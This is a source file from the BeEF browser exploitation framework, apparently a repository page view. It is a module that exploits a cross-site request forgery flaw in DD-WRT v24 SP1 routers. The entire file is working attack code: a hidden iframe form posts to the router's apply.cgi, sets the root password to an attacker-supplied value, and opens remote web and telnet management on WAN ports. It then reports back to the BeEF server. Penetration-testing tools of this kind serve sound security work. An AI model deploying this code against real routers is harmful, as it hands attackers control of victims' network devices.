Path: blob/master/modules/exploits/router/ddwrt_v24_sp1_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var host = '<%= @host %>';8var password = '<%= @password %>';9var port = '<%= @port %>';10var telnet = '<%= @telnet %>';11var path = 'apply.cgi';1213if (!host.match(/\/$/))14host += '/';1516var ddwrt_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(17host + path,18'POST', 'application/x-www-form-urlencoded', [19{ 'type': 'hidden', 'name': 'submit_button', 'value': 'Management' },20{ 'type': 'hidden', 'name': 'action', 'value': 'ApplyTake' },21{ 'type': 'hidden', 'name': 'change_action', 'value': '' },22{ 'type': 'hidden', 'name': 'submit_type', 'value': '' },23{ 'type': 'hidden', 'name': 'commit', 'value': '1' },24{ 'type': 'hidden', 'name': 'PasswdModify', 'value': '0' },25{ 'type': 'hidden', 'name': 'remote_mgt_https', 'value': '' },26{ 'type': 'hidden', 'name': 'http_enable', 'value': '1' },27{ 'type': 'hidden', 'name': 'info_passwd', 'value': '0' },28{ 'type': 'hidden', 'name': 'https_enable', 'value': '' },29{ 'type': 'hidden', 'name': 'http_username', 'value': 'root' },30{ 'type': 'hidden', 'name': 'http_passwd', 'value': password },31{ 'type': 'hidden', 'name': 'http_passwdConfirm', 'value': password },32{ 'type': 'hidden', 'name': '_http_enable', 'value': '1' },33{ 'type': 'hidden', 'name': 'refresh_time', 'value': '3' },34{ 'type': 'hidden', 'name': 'status_auth', 'value': '1' },35{ 'type': 'hidden', 'name': 'maskmac', 'value': '1' },36{ 'type': 'hidden', 'name': 'remote_management', 'value': '1' },37{ 'type': 'hidden', 'name': 'http_wanport', 'value': port },38{ 'type': 'hidden', 'name': 'remote_mgt_telnet', 'value': '1' },39{ 'type': 'hidden', 'name': 'telnet_wanport', 'value': telnet },40{ 'type': 'hidden', 'name': 'boot_wait', 'value': 'on' },41{ 'type': 'hidden', 'name': 'cron_enable', 'value': '1' },42{ 'type': 'hidden', 'name': 'cron_jobs', 'value': '' },43{ 'type': 'hidden', 'name': 'loopback_enable', 'value': '1' },44{ 'type': 'hidden', 'name': 'nas_enable', 'value': '1' },45{ 'type': 'hidden', 'name': 'resetbutton_enable', 'value': '1' },46{ 'type': 'hidden', 'name': 'zebra_enable', 'value': '1' },47{ 'type': 'hidden', 'name': 'ip_conntrack_max', 'value': '512' },48{ 'type': 'hidden', 'name': 'ip_conntrack_tcp_timeouts', 'value': '3600' },49{ 'type': 'hidden', 'name': 'ip_conntrack_udp_timeouts', 'value': '120' },50{ 'type': 'hidden', 'name': 'overclocking', 'value': '200' }51]);5253beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');5455setTimeout(function() { document.body.removeChild(ddwrt_iframe_<%= @command_id %>) }, 15 * 1000);56});575859